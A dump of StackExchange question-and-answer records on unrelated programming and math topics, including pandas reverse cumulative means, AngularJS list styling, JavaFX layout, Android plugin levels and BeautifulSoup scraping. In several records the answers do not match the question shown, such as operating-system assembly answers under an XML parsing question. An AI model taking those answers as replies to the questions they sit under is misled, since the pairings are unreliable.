In cases where you have this much boilerplate to perform a simple action, you can use the facade pattern to abstract away the complexities. Your utility methods are partway there, but having a single utility class like that is not the ideal approach. Such a class suffers from low cohesion, since it can have all kinds of unrelated methods. It would be better to create highly cohesive facade classes of related functionality. Highly cohesive classes make duplicate code or deprecated functionality more apparent because you are looking at code all in a similar vein. |
203,644 | Let $\sim$ be an equivalence relation on a set $X$. Also, there is a natural function $p:X\to \tilde X$ where $\tilde X$ is a set of all equivalence classes. (Equivalence classes are defined as, $[x]=\{y \in X |x\sim y\}$ where the equivalence relation is reflexive, symmetric, and transitive $\forall (x,y)$). This natural function $p$ is defined by $p(x)=[x]$. When is this function surjective and when is it injective?
My guess was that it was surjective from $x$ to some $k\in \mathbb{N}$ and injective in $\mathbb{N}$, but I am probably wrong. | 2012/09/27 | [
"https://math.stackexchange.com/questions/203644",
"https://math.stackexchange.com",
"https://math.stackexchange.com/users/40164/"
] | It's always surjective, as every equivalence class contains at least one element. It will fail to be injective any time two different elements are equivalent to each other, as if $x\sim y$ then $[x]=[y]$. So it is only injective if the equivalence relation is that of equality. | It is always surjective, and it is injective exactly when $\sim$ is the relation of equality. |
6,298,861 | We have a web application that creates a web page. In one section of the page, a graph is diplayed. The graph is created by calling graphing program with an "img src=..." tag in the HTML body. The graphing program takes a number of arguments about the height, width, legends, etc., and the data to be graphed. The only way we have found so far to pass the arguments to the graphing program is to use the GET method. This works, but in some cases the size of the query string passed to the grapher is approaching the 2058 (or whatever) character limit for URLs in Internet Explorer. I've included an example of the tag below. If the length is too long, the query string is truncated and either the program bombs or even worse, displays a graph that is not correct (depending on where the truncation occurs).
The POST method with an auto submit does not work for our purposes, because we want the image inserted on the page where the grapher is invoked. We don't want the graph displayed on a separate web page, which is what the POST method does with the URL in the "action=" attribute.
Does anyone know a way around this problem, or do we just have to stick with the GET method and inform users to stay away from Internet Explorer when they're using our application?
Thanks! | 2011/06/09 | [
"https://Stackoverflow.com/questions/6298861",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/791636/"
] | One solution is to have the page put data into the session, then have the img generation script pull from that session information. For example page stores $\_SESSION['tempdata12345'] and creates an img src="myimage.php?data=tempdata12345". Then myimage.php pulls from the session information. | One solution is to have the web application that generates the entire page to pre-emptively
call the actual graphing program with all the necessary parameters.
Perhaps store the generated image in a /tmp folder.
Then have the web application create the web page and send it to the browser with a "img src=..." tag that, instead of referring to the graphing program, refers to the pre-generated image. |
26,169,446 | I am trying to find a way to obtain the anchor text of all of the incoming links to a wikipedia page (from other pages within wikipedia). I've read a few papers that that have done experiments with this information (eg. <http://web2py.iiit.ac.in/research_centres/publications/download/inproceedings.pdf.809e1550d80bca59.4d756c7469446f635f53756d6d6172697a6174696f6e5f46696e616c2e706466.pdf>)
but they don't seem to explain how they obtain this information. There is one resource that I am aware of called [YAGO](https://www.mpi-inf.mpg.de/departments/databases-and-information-systems/research/yago-naga/yago/) that provides the wikipedia pages that link to the page in question but it does not seem to provide the anchor text. Can anyone suggest a way of obtaining this information? | 2014/10/02 | [
"https://Stackoverflow.com/questions/26169446",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1893354/"
] | Solution
--------
Place your controls in a VBox (or other similar root layout pane) and [set the VBox alignment](http://docs.oracle.com/javase/8/javafx/api/javafx/scene/layout/VBox.html#setAlignment-javafx.geometry.Pos-) to center.
Layout Advice
-------------
This is my personal advice on starting with layout in JavaFX (it's just advice and not applicable to everybody, you can take it or leave it):
* Your window and all controls and layouts will automatically size to their preferred size.
* Let the in-built layout managers and layout system do as many calculations for you as possible with you just providing the minimum layout hints necessary to get your result.
* Stick to using JavaFX only or Swing only code until you are familar with both styles of code development and really need to mix them.
* Use the SceneBuilder tool to play around with different layouts and get familiar with JavaFX layout mechanisms.
* Study the [JavaFX layout tutorial](http://docs.oracle.com/javase/8/javafx/layout-tutorial/index.html).
* Review a [presentation on JavaFX layout](http://www.parleys.com/#st=5&id=2734&sl=57).
* To center a stage the screen call [stage.centerOnScreen()](http://docs.oracle.com/javase/8/javafx/api/javafx/stage/Window.html#centerOnScreen--).
* Consider using the built-in dialog support of Java 8u40 (when it is released).
**Hi-dpi support**
See the answer to:
* [JavaFX 8 HiDPI Support](https://stackoverflow.com/questions/26182460/javafx-8-hidpi-support)
FXML based sample code for your dialog
--------------------------------------

You can load the following up in [SceneBuilder](http://www.oracle.com/technetwork/java/javase/downloads/javafxscenebuilder-info-2157684.html) to easily display it:
```
<?xml version="1.0" encoding="UTF-8"?>
<?import javafx.geometry.*?>
<?import javafx.scene.control.*?>
<?import java.lang.*?>
<?import javafx.scene.layout.*?>
<VBox alignment="CENTER" maxHeight="-Infinity" maxWidth="-Infinity" minHeight="-Infinity" minWidth="-Infinity" spacing="8.0" xmlns="http://javafx.com/javafx/8" xmlns:fx="http://javafx.com/fxml/1">
<children>
<Label fx:id="updateStatus" text="Checking for Updates..." />
<ProgressBar fx:id="updateProgress" prefWidth="200.0" progress="0.0" />
<Button fx:id="updateAction" mnemonicParsing="false" text="Get it!" />
</children>
<padding>
<Insets bottom="16.0" left="16.0" right="16.0" top="16.0" />
</padding>
</VBox>
``` | ### Resize Issue
Make sure you are adding a size to your `JFrame`
```
frame.setSize(500, 300);
```
### Center Issue
*I am not sure whether you are taking about centering your frame or the JavaFX controls in the `GridPane`, so I am adding answers for both of them*
### Frame Screen Centering
```
Dimension dim = Toolkit.getDefaultToolkit().getScreenSize();
frame.setLocation(dim.width/2-frame.getSize().width/2,
dim.height/2-frame.getSize().height/2);
```

### `GridPane` Child Centering
You need to add
```
GridPane.setHalignment(child, HPos.CENTER);
```
to your code, remove the rest unnecessary code
I edited your code :
```
{
Label statusLabel = new Label("Checking for Updates...");
//statusLabel.setAlignment(Pos.CENTER);
//statusLabel.setTextAlignment(TextAlignment.CENTER);
rootGrid.add(statusLabel, 0, 0);
GridPane.setHalignment(statusLabel, HPos.CENTER);
}
{
ProgressBar progressBar = new ProgressBar();
progressBar.setProgress(-1);
progressBar.setPrefWidth(400); // 1/5 the width of the screen
rootGrid.add(progressBar, 0, 1);
}
{
Button downloadButton = new Button("Get it!");
//downloadButton.setAlignment(Pos.CENTER);
rootGrid.add(downloadButton, 0, 2);
GridPane.setHalignment(downloadButton, HPos.CENTER);
}
```
and the result is
 |
58,513,764 | Given a dataframe that looks something like this:
```
date,score
2019-10-01,5
2019-10-02,4
2019-10-03,3
2019-10-04,6
```
How do I go about calculating the mean of `score` using subsequent/following rows, such that it looks/behaves like this:
```
date,score
2019-10-01,5,(5+4+3+6)/4
2019-10-02,4,(4+3+6)/3
2019-10-03,3,(3+6)/2
2019-10-04,6,6
```
This is super easy in SQL which is where I am trying to translate this from, where in SQL I can write:
`select avg(score) over(order by date) ...`
But I'm having trouble trying to figure this out in pandas.
Any guidance would be greatly appreciated.
Thank you! | 2019/10/23 | [
"https://Stackoverflow.com/questions/58513764",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/302064/"
] | Try `expanding` on the reversed series
```
df['calc_mean'] = df.score[::-1].expanding(1).mean()
Out[228]:
date score calc_mean
0 2019-10-01 5 4.500000
1 2019-10-02 4 4.333333
2 2019-10-03 3 4.500000
3 2019-10-04 6 6.000000
``` | `cumsum` on reverse series:
```
df['cum_mean'] = (df[::-1].assign(c=1)
.agg({'score':'cumsum', 'c':'cumsum'})
.assign(cum_mean = lambda x: x['score']/x['c'])
['cum_mean']
)
```
Output:
```
date score cum_mean
0 2019-10-01 5 4.500000
1 2019-10-02 4 4.333333
2 2019-10-03 3 4.500000
3 2019-10-04 6 6.000000
``` |
58,513,764 | Given a dataframe that looks something like this:
```
date,score
2019-10-01,5
2019-10-02,4
2019-10-03,3
2019-10-04,6
```
How do I go about calculating the mean of `score` using subsequent/following rows, such that it looks/behaves like this:
```
date,score
2019-10-01,5,(5+4+3+6)/4
2019-10-02,4,(4+3+6)/3
2019-10-03,3,(3+6)/2
2019-10-04,6,6
```
This is super easy in SQL which is where I am trying to translate this from, where in SQL I can write:
`select avg(score) over(order by date) ...`
But I'm having trouble trying to figure this out in pandas.
Any guidance would be greatly appreciated.
Thank you! | 2019/10/23 | [
"https://Stackoverflow.com/questions/58513764",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/302064/"
] | Use `cumsum` bottom-up and divide by the `arange`
```
df['cummean'] = df.score[::-1].cumsum()[::-1] / np.arange(len(df), 0, -1)
```
---
```
date score cummean
0 2019-10-01 5 4.500000
1 2019-10-02 4 4.333333
2 2019-10-03 3 4.500000
3 2019-10-04 6 6.000000
``` | `cumsum` on reverse series:
```
df['cum_mean'] = (df[::-1].assign(c=1)
.agg({'score':'cumsum', 'c':'cumsum'})
.assign(cum_mean = lambda x: x['score']/x['c'])
['cum_mean']
)
```
Output:
```
date score cum_mean
0 2019-10-01 5 4.500000
1 2019-10-02 4 4.333333
2 2019-10-03 3 4.500000
3 2019-10-04 6 6.000000
``` |
4,803,342 | Could someone describe me a solution to implement a plugin inside an Android application and how could it be sold on the Android Market?
Typically, you create a game whose 4 first levels are free. Then, the user should buy something using the Android Market to unlock additional levels.
A solution could be to list the packages set up on the phone which are named com.company.myApp.additionalLevelSet1 but it doesn't seem secure at all! (a user could manually set up the plugin packages and so unlock additional features freely)
On iPhone, you could use InAppPurchase to buy non-consumable or consumable products.
Any help or suggestion would be appreciated. Thanks! | 2011/01/26 | [
"https://Stackoverflow.com/questions/4803342",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/590392/"
] | It's quite simple in your case, since you don't need any extra logic, but just more levels, so I will stick to this specific case:
You can (or probably already do) have your game levels saved as **resources** in your .apk, so a plug in can be a standard .apk, that will not appear in the list of users-apps. To prevent it from appearing, simply don't declare the category-launcher:
```
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
```
Once the snippet above does **NOT** appear in your plugin's AndroidManifest, it will not be directly accessible to the user.
When your main game activity starts, it should check for the existence of plugins, you can do it, by calling `PackageManager.queryIntentActivities`. And querying for a specific intent you declared in the AndroidManifest file of your plugin, for example:
```
<intent-filter>
<action android:name="com.your.package.name.LEVEL_PACK" />
</intent-filter>
```
The query code would then be:
```
PackageManager packageManager = getPackageManager();
Intent levelsIntent = new Intent("com.your.package.name.LEVEL_PACK");
List<ResolveInfo> levelPacks = packageManager.queryIntentActivities(levelsIntent, 0);
```
There are more ways to do this, but this is quite trivial and straight forward.
The last step is to access the levels from the installed level-packs. You can do this by calling: `PackageManager.getResourcesForActivity` and load the relevant resources and use them as you will. | What I've seen so far on the Android Market are entirely different version of apps for free versus paid content of the same application.
I haven't looked into plug-ins yet so I don't know if this feature is available, but if you can't find it a workaround could be to launch applications and hide them from the add application to home menu and/or shortcut menu and just add a link to it inside the main application.
Another workaround is to treat your additionnal content like paid content libraries and simply block the level access if the resource is not accessible. But you have to verify if you have a right to have private librairies that are separate from your application.
Basically what you're looking to do is exactly what content hosters like Apple and Android are trying to avoid or control since it would allow you to stream new content to your app without the content host knowing it's actually new content for another app.
I suggest you read this to understand why a multiple app-app isn't obvious in Android : [Android Security](http://developer.android.com/guide/topics/security/security.html) |
45,559,968 | I am using `angularjs` I have two list when I click first one I will push the value into another scope and bind the value to second list. Now my requirement is when first list values which are moved to second list, I need to change the color of moved values in `list1`
Here I attached my fiddle
[Fiddle](https://jsfiddle.net/7MhLd/2658/) | 2017/08/08 | [
"https://Stackoverflow.com/questions/45559968",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/7240783/"
] | You can use `findIndex` and `ng-class` together to check if the second list contains the same item as first. If present apply css class to the first list item.
**JS**:
```
$scope.checkColor = function(text) {
var index = $scope.linesTwos.findIndex(x => x.text === text);
if (index > -1) return true;
else return false;
}
```
**HTML**:
```
<li ng-click="Team($index,line.text)" ng-class="{'change-color':checkColor(line.text)}">{{line.text}}</li>
```
**Working Demo**: <https://jsfiddle.net/7MhLd/2659/> | You can do something like this:
```js
var myApp = angular.module('myApp', []);
function MyCtrl($scope) {
$scope.lines = [{
text: 'res1'
},
{
text: 'res2'
},
{
text: 'res3'
}
];
$scope.linesTwos = [];
$scope.Team = function(index, text) {
var obj = {};
obj.text = text;
$scope.linesTwos.push(obj)
}
$scope.Team2 = function(index, text2) {
$scope.linesTwos.splice(index, 1)
}
$scope.containsObj = function(obj, list) {
var i;
for (i = 0; i < list.length; i++) {
if (angular.equals(list[i], obj)) {
return true;
}
}
return false;
};
}
```
```css
.clicked {
color: red;
}
```
```html
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.23/angular.min.js"></script>
<div ng-app="myApp" ng-controller="MyCtrl">
<ul ng-repeat="line in lines">
<li ng-class="{'clicked': containsObj(line,linesTwos)}" ng-click="Team($index,line.text)">{{line.text}}</li>
</ul>
<ul>
<li>__________</li>
</ul>
<ul ng-repeat="line in linesTwos">
<li ng-click="Team2($index,line.text)">{{line.text}}</li>
</ul>
</div>
``` |
45,559,968 | I am using `angularjs` I have two list when I click first one I will push the value into another scope and bind the value to second list. Now my requirement is when first list values which are moved to second list, I need to change the color of moved values in `list1`
Here I attached my fiddle
[Fiddle](https://jsfiddle.net/7MhLd/2658/) | 2017/08/08 | [
"https://Stackoverflow.com/questions/45559968",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/7240783/"
] | You can use `findIndex` and `ng-class` together to check if the second list contains the same item as first. If present apply css class to the first list item.
**JS**:
```
$scope.checkColor = function(text) {
var index = $scope.linesTwos.findIndex(x => x.text === text);
if (index > -1) return true;
else return false;
}
```
**HTML**:
```
<li ng-click="Team($index,line.text)" ng-class="{'change-color':checkColor(line.text)}">{{line.text}}</li>
```
**Working Demo**: <https://jsfiddle.net/7MhLd/2659/> | you have to achieve it using ng-class and create a dynamic class style for pushed data please check my working example fiddle
[JS fiddle sample](https://jsfiddle.net/7MhLd/2663/)
**in HTML** nedd to do these changes
`<li ng-click="Team($index,line.text,line)" ng-class="{'pushed':line.pushed}">`
```
<li ng-click="Team2($index,line.text,line)">
```
**In css**
```
.pushed{color:red;}
```
**In Controller**
```
`$scope.Team=function(index,text,line){
var obj={};
obj = line;
$scope.linesTwos.push(obj)
line.pushed = true;
}`
`scope.Team2 = function(index,text2,line){
$scope.linesTwos.splice(index,1)
line.pushed = false;
}
`
```
its because angular two way binding |
45,559,968 | I am using `angularjs` I have two list when I click first one I will push the value into another scope and bind the value to second list. Now my requirement is when first list values which are moved to second list, I need to change the color of moved values in `list1`
Here I attached my fiddle
[Fiddle](https://jsfiddle.net/7MhLd/2658/) | 2017/08/08 | [
"https://Stackoverflow.com/questions/45559968",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/7240783/"
] | You can do something like this:
```js
var myApp = angular.module('myApp', []);
function MyCtrl($scope) {
$scope.lines = [{
text: 'res1'
},
{
text: 'res2'
},
{
text: 'res3'
}
];
$scope.linesTwos = [];
$scope.Team = function(index, text) {
var obj = {};
obj.text = text;
$scope.linesTwos.push(obj)
}
$scope.Team2 = function(index, text2) {
$scope.linesTwos.splice(index, 1)
}
$scope.containsObj = function(obj, list) {
var i;
for (i = 0; i < list.length; i++) {
if (angular.equals(list[i], obj)) {
return true;
}
}
return false;
};
}
```
```css
.clicked {
color: red;
}
```
```html
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.23/angular.min.js"></script>
<div ng-app="myApp" ng-controller="MyCtrl">
<ul ng-repeat="line in lines">
<li ng-class="{'clicked': containsObj(line,linesTwos)}" ng-click="Team($index,line.text)">{{line.text}}</li>
</ul>
<ul>
<li>__________</li>
</ul>
<ul ng-repeat="line in linesTwos">
<li ng-click="Team2($index,line.text)">{{line.text}}</li>
</ul>
</div>
``` | you have to achieve it using ng-class and create a dynamic class style for pushed data please check my working example fiddle
[JS fiddle sample](https://jsfiddle.net/7MhLd/2663/)
**in HTML** nedd to do these changes
`<li ng-click="Team($index,line.text,line)" ng-class="{'pushed':line.pushed}">`
```
<li ng-click="Team2($index,line.text,line)">
```
**In css**
```
.pushed{color:red;}
```
**In Controller**
```
`$scope.Team=function(index,text,line){
var obj={};
obj = line;
$scope.linesTwos.push(obj)
line.pushed = true;
}`
`scope.Team2 = function(index,text2,line){
$scope.linesTwos.splice(index,1)
line.pushed = false;
}
`
```
its because angular two way binding |
55,217,898 | I set the hint programmatically for a purpose `edittext.SetHint("MyHint");` but it does not work.
```
namespace MhylesApp
{
[Activity(Label = "ToExistingCustomer"/*, ConfigurationChanges = ConfigChanges.ScreenSize | ConfigChanges.Orientation, ScreenOrientation = ScreenOrientation.Landscape*/)]
public class ToExistingCustomer : Android.Support.V7.App.AppCompatActivity
{
private EditText edittext;
protected override void OnCreate(Bundle savedInstanceState)
{
base.OnCreate(savedInstanceState);
SetContentView(Resource.Layout.ExistingCustomer);
edittext= FindViewById<EditText>(Resource.Id.qty);
edittext.SetHint("My Hint");
}
}
}
``` | 2019/03/18 | [
"https://Stackoverflow.com/questions/55217898",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/9950237/"
] | Loop over the `soup.findAll('p')` to find all the `p` tags and then use `.text` to get their text:
Furthermore, do all that under a `div` with the class `rte` since you don't want the footer paragraphs.
```
from bs4 import BeautifulSoup
import requests
url = 'https://fs.blog/mental-models/'
r = requests.get(url)
soup = BeautifulSoup(r.content, 'html.parser')
divTag = soup.find_all("div", {"class": "rte"})
for tag in divTag:
pTags = tag.find_all('p')
for tag in pTags[:-2]: # to trim the last two irrelevant looking lines
print(tag.text)
```
**OUTPUT**:
```
Mental models are how we understand the world. Not only do they shape what we think and how we understand but they shape the connections and opportunities that we see.
.
.
.
5. Mutually Assured Destruction
Somewhat paradoxically, the stronger two opponents become, the less likely they may be to destroy one another. This process of mutually assured destruction occurs not just in warfare, as with the development of global nuclear warheads, but also in business, as with the avoidance of destructive price wars between competitors. However, in a fat-tailed world, it is also possible that mutually assured destruction scenarios simply make destruction more severe in the event of a mistake (pushing destruction into the “tails” of the distribution).
``` | If you want the text of all the `p` tag, you can just loop on them using the `find_all` method:
```
from bs4 import BeautifulSoup
import re
import requests
url = 'https://fs.blog/mental-models/'
r = requests.get(url)
soup = BeautifulSoup(r.content, 'html.parser')
print(soup)
data = soup.find_all('p')
for p in data:
text = p.get_text()
print(text)
```
**EDIT:**
Here is the code in order to have them separatly in a list. You can them apply a loop on the result list to remove empty string, unused characters like`\n` etc...
```
from bs4 import BeautifulSoup
import re
import requests
url = 'https://fs.blog/mental-models/'
r = requests.get(url)
soup = BeautifulSoup(r.content, 'html.parser')
data = soup.find_all('p')
result = []
for p in data:
result.append(p.get_text())
print(result)
``` |
55,217,898 | I set the hint programmatically for a purpose `edittext.SetHint("MyHint");` but it does not work.
```
namespace MhylesApp
{
[Activity(Label = "ToExistingCustomer"/*, ConfigurationChanges = ConfigChanges.ScreenSize | ConfigChanges.Orientation, ScreenOrientation = ScreenOrientation.Landscape*/)]
public class ToExistingCustomer : Android.Support.V7.App.AppCompatActivity
{
private EditText edittext;
protected override void OnCreate(Bundle savedInstanceState)
{
base.OnCreate(savedInstanceState);
SetContentView(Resource.Layout.ExistingCustomer);
edittext= FindViewById<EditText>(Resource.Id.qty);
edittext.SetHint("My Hint");
}
}
}
``` | 2019/03/18 | [
"https://Stackoverflow.com/questions/55217898",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/9950237/"
] | Loop over the `soup.findAll('p')` to find all the `p` tags and then use `.text` to get their text:
Furthermore, do all that under a `div` with the class `rte` since you don't want the footer paragraphs.
```
from bs4 import BeautifulSoup
import requests
url = 'https://fs.blog/mental-models/'
r = requests.get(url)
soup = BeautifulSoup(r.content, 'html.parser')
divTag = soup.find_all("div", {"class": "rte"})
for tag in divTag:
pTags = tag.find_all('p')
for tag in pTags[:-2]: # to trim the last two irrelevant looking lines
print(tag.text)
```
**OUTPUT**:
```
Mental models are how we understand the world. Not only do they shape what we think and how we understand but they shape the connections and opportunities that we see.
.
.
.
5. Mutually Assured Destruction
Somewhat paradoxically, the stronger two opponents become, the less likely they may be to destroy one another. This process of mutually assured destruction occurs not just in warfare, as with the development of global nuclear warheads, but also in business, as with the avoidance of destructive price wars between competitors. However, in a fat-tailed world, it is also possible that mutually assured destruction scenarios simply make destruction more severe in the event of a mistake (pushing destruction into the “tails” of the distribution).
``` | Here is the solution:
```
from bs4 import BeautifulSoup
import requests
import Clock
url = 'https://fs.blog/mental-models/'
r = requests.get(url)
soup = BeautifulSoup(r.content, 'html.parser')
data = soup.find_all('p')
result = []
for p in data:
result.append(p.get_text())
Clock.schedule_interval(print(result), 60)
``` |
4,808,875 | I have the following code which detects which search engine and what search term has been used:
```
if (document.referrer.search(/google\.*/i) != -1) {
var start = document.referrer.search(/q=/);
var searchTerms = document.referrer.substring(start + 2);
var end = searchTerms.search(/&/);
end = (end == -1) ? searchTerms.length : end;
searchTerms = searchTerms.substring(0, end);
if (searchTerms.length != 0) {
searchTerms = searchTerms.replace(/\+/g, " ");
searchTerms = unescape(searchTerms);
alert('You have searched: '+searchTerms+' on google');
}
}
```
That actually works, but unfortunately it doesn't work as expected sometimes.
Sometimes if the referrer was even not google i get an alert with the search term as : ttp://www.domain.com ( without H at the start ) i think that may lead to the bug.
Appreciate any help! | 2011/01/26 | [
"https://Stackoverflow.com/questions/4808875",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/241654/"
] | You could define an interface for those classes.
```
interface IRecord
{
string RecordID { get; set; }
string OtherProperties { get; set; }
}
```
and make the method receive the model by using that:
```
[HttpPost]
public ActionResult ValidateRecordID(IRecord model)
{
// TODO: Do some verification code here
return this.Json("Validated.");
}
``` | There is no direct way of binding data to a interface/abstract class. The DefaultModelBinder will try to instantiate that type, which is (by definition) impossible.
So, IMHO, you should not use that option. And if you still want to share the same controller action between the two views, the usual way of doing that would be using a [ViewModel](https://stackoverflow.com/questions/664205/viewmodel-best-practices).
Make your strongly-typed views reference that viewmodel. Make the single shared action receive an instance of it. Inside the action, you will decide which "real" model should be used...
If you need some parameter in order to distinguish where the post came from (view 1 or 2), just add that parameter to the ajax call URL.
Of course, another way is keeping what you have already tried (interface/abstract class), but you'll need a [custom Model Binder](http://weblogs.asp.net/bhaskarghosh/archive/2009/07/08/7143564.aspx) in that case... Sounds like overcoding to me, but it's your choice.
**Edit** After my dear SO fellow @Charles Boyung made a gracious (and wrong) comment below, I've come to the conclusion that my answer was not exactly accurate. So I have fixed some of the terminology that I've used here - hope it is clearer now. |
4,808,875 | I have the following code which detects which search engine and what search term has been used:
```
if (document.referrer.search(/google\.*/i) != -1) {
var start = document.referrer.search(/q=/);
var searchTerms = document.referrer.substring(start + 2);
var end = searchTerms.search(/&/);
end = (end == -1) ? searchTerms.length : end;
searchTerms = searchTerms.substring(0, end);
if (searchTerms.length != 0) {
searchTerms = searchTerms.replace(/\+/g, " ");
searchTerms = unescape(searchTerms);
alert('You have searched: '+searchTerms+' on google');
}
}
```
That actually works, but unfortunately it doesn't work as expected sometimes.
Sometimes if the referrer was even not google i get an alert with the search term as : ttp://www.domain.com ( without H at the start ) i think that may lead to the bug.
Appreciate any help! | 2011/01/26 | [
"https://Stackoverflow.com/questions/4808875",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/241654/"
] | You could define an interface for those classes.
```
interface IRecord
{
string RecordID { get; set; }
string OtherProperties { get; set; }
}
```
and make the method receive the model by using that:
```
[HttpPost]
public ActionResult ValidateRecordID(IRecord model)
{
// TODO: Do some verification code here
return this.Json("Validated.");
}
``` | If you only need the RecordID, you can just have the controller method take int RecordID and it will pull that out of the form post data instead of building the view model back up and providing that to your action method.
```
[HttpPost]
public ActionResult ValidateRecordID(int RecordID) {
// TODO: Do some verification code here
return this.Json("Validated.");
}
``` |
4,808,875 | I have the following code which detects which search engine and what search term has been used:
```
if (document.referrer.search(/google\.*/i) != -1) {
var start = document.referrer.search(/q=/);
var searchTerms = document.referrer.substring(start + 2);
var end = searchTerms.search(/&/);
end = (end == -1) ? searchTerms.length : end;
searchTerms = searchTerms.substring(0, end);
if (searchTerms.length != 0) {
searchTerms = searchTerms.replace(/\+/g, " ");
searchTerms = unescape(searchTerms);
alert('You have searched: '+searchTerms+' on google');
}
}
```
That actually works, but unfortunately it doesn't work as expected sometimes.
Sometimes if the referrer was even not google i get an alert with the search term as : ttp://www.domain.com ( without H at the start ) i think that may lead to the bug.
Appreciate any help! | 2011/01/26 | [
"https://Stackoverflow.com/questions/4808875",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/241654/"
] | You could define an interface for those classes.
```
interface IRecord
{
string RecordID { get; set; }
string OtherProperties { get; set; }
}
```
and make the method receive the model by using that:
```
[HttpPost]
public ActionResult ValidateRecordID(IRecord model)
{
// TODO: Do some verification code here
return this.Json("Validated.");
}
``` | In the case above your action could accept two strings instead of a concrete type.
Another possibility is having two actions. Each action taking one of your types. I'm assuming that functionality each type is basically the same. Once the values have been extracted hand them off to a method. In your case method will probably be the same for each action.
```
public ActionResult Method1(Record record)
{
ProcessAction(record.id, record.Property);
}
public ActionResult Action2(OtherRecord record)
{
ProcessAction(record.id, record.OtherProperty);
}
private void ProcessAction(string id, string otherproperity)
{
//make happen
}
``` |
8,502,471 | How can I remove the default spacing on my JLabels? I'm using the following code to put an image on the JLabel.
```
JLabel image = new JLabel(new ImageIcon("myimage.png"));
```
When I add this image to a JPanel, there is a bit of whitespace around the image. How can I reset this padding to zero? | 2011/12/14 | [
"https://Stackoverflow.com/questions/8502471",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1016416/"
] | >
> there is a bit of whitespace around the image
>
>
>
What 'whitespace'?

```
import java.awt.*;
import javax.swing.*;
import javax.swing.border.LineBorder;
import javax.imageio.ImageIO;
import java.net.URL;
class LabelPaddingTest {
public static void main(String[] args) throws Exception {
URL url = new URL("http://pscode.org/media/citymorn2.jpg");
final Image image = ImageIO.read(url);
SwingUtilities.invokeLater(new Runnable() {
public void run() {
JLabel l = new JLabel(new ImageIcon(image));
l.setBorder(new LineBorder(Color.GREEN.darker(), 5));
JOptionPane.showMessageDialog(null, l);
}
});
}
}
```
As mKorbel notes, the problem is in some other area of the code. For better help sooner, post an [SSCCE](http://sscce.org/). | not clear from your question, I'd suggest to use proper [LayoutManager](http://docs.oracle.com/javase/tutorial/uiswing/layout/index.html), |
8,502,471 | How can I remove the default spacing on my JLabels? I'm using the following code to put an image on the JLabel.
```
JLabel image = new JLabel(new ImageIcon("myimage.png"));
```
When I add this image to a JPanel, there is a bit of whitespace around the image. How can I reset this padding to zero? | 2011/12/14 | [
"https://Stackoverflow.com/questions/8502471",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1016416/"
] | >
> there is a bit of whitespace around the image
>
>
>
What 'whitespace'?

```
import java.awt.*;
import javax.swing.*;
import javax.swing.border.LineBorder;
import javax.imageio.ImageIO;
import java.net.URL;
class LabelPaddingTest {
public static void main(String[] args) throws Exception {
URL url = new URL("http://pscode.org/media/citymorn2.jpg");
final Image image = ImageIO.read(url);
SwingUtilities.invokeLater(new Runnable() {
public void run() {
JLabel l = new JLabel(new ImageIcon(image));
l.setBorder(new LineBorder(Color.GREEN.darker(), 5));
JOptionPane.showMessageDialog(null, l);
}
});
}
}
```
As mKorbel notes, the problem is in some other area of the code. For better help sooner, post an [SSCCE](http://sscce.org/). | As per the given code,there will not be any white space unless `myimage.png` have a white space around it.Please check. If the problem still persists post an [sscce](http://sscce.org) along with your `myimage.png` |
1,913,551 | I need to process a huge XML file, 4G. I used dom4j SAX, but wrote my own DefaultElementHandler. Code framework as below:
```
SAXParserFactory sf = SAXParserFactory.newInstance();
SAXParser sax = sf.newSAXParser();
sax.parse("english.xml", new DefaultElementHandler("page"){
public void processElement(Element element) {
// process the element
}
});
```
I thought I was processing the huge file "page" by "page". But it seems not, as I always had the outof memory error. Did I miss anything important? Thanks. I am new to XML process. | 2009/12/16 | [
"https://Stackoverflow.com/questions/1913551",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/232814/"
] | You will need some assembly. This is becaused there are some privileged instructions that are needed for operating system design that will not be generated by a C/C++ compiler.
One example is when userside code want to make use of an operating system service (like interprocess communication) it needs to switch from user mode into kernel mode. This is normally done by issuing a Software Interrupt (SWI). A C++ will never create the SWI instruction.
Similarly, when writing an arbitrary precision integer arithmatic library, one will need to find of the value of the Carry Bit. There is no C/C++ operator that can do this for you. You will have to use assembler.
Incidentation, writing directly to a device register can and often is done in C. the volatile keyword is placed into the language specifically for registers whose values can change unexpectedly | You can write all possible programs in C++. In fact, you can write most programs in most languages, especially if you exclude performance concerns. This concept is known as "Turing completeness" |
1,913,551 | I need to process a huge XML file, 4G. I used dom4j SAX, but wrote my own DefaultElementHandler. Code framework as below:
```
SAXParserFactory sf = SAXParserFactory.newInstance();
SAXParser sax = sf.newSAXParser();
sax.parse("english.xml", new DefaultElementHandler("page"){
public void processElement(Element element) {
// process the element
}
});
```
I thought I was processing the huge file "page" by "page". But it seems not, as I always had the outof memory error. Did I miss anything important? Thanks. I am new to XML process. | 2009/12/16 | [
"https://Stackoverflow.com/questions/1913551",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/232814/"
] | You will need some assembly. This is becaused there are some privileged instructions that are needed for operating system design that will not be generated by a C/C++ compiler.
One example is when userside code want to make use of an operating system service (like interprocess communication) it needs to switch from user mode into kernel mode. This is normally done by issuing a Software Interrupt (SWI). A C++ will never create the SWI instruction.
Similarly, when writing an arbitrary precision integer arithmatic library, one will need to find of the value of the Carry Bit. There is no C/C++ operator that can do this for you. You will have to use assembler.
Incidentation, writing directly to a device register can and often is done in C. the volatile keyword is placed into the language specifically for registers whose values can change unexpectedly | You could program a complete OS in C++ if you were so inclined (and had a decade or so to spare....) since it does compile to machine code.
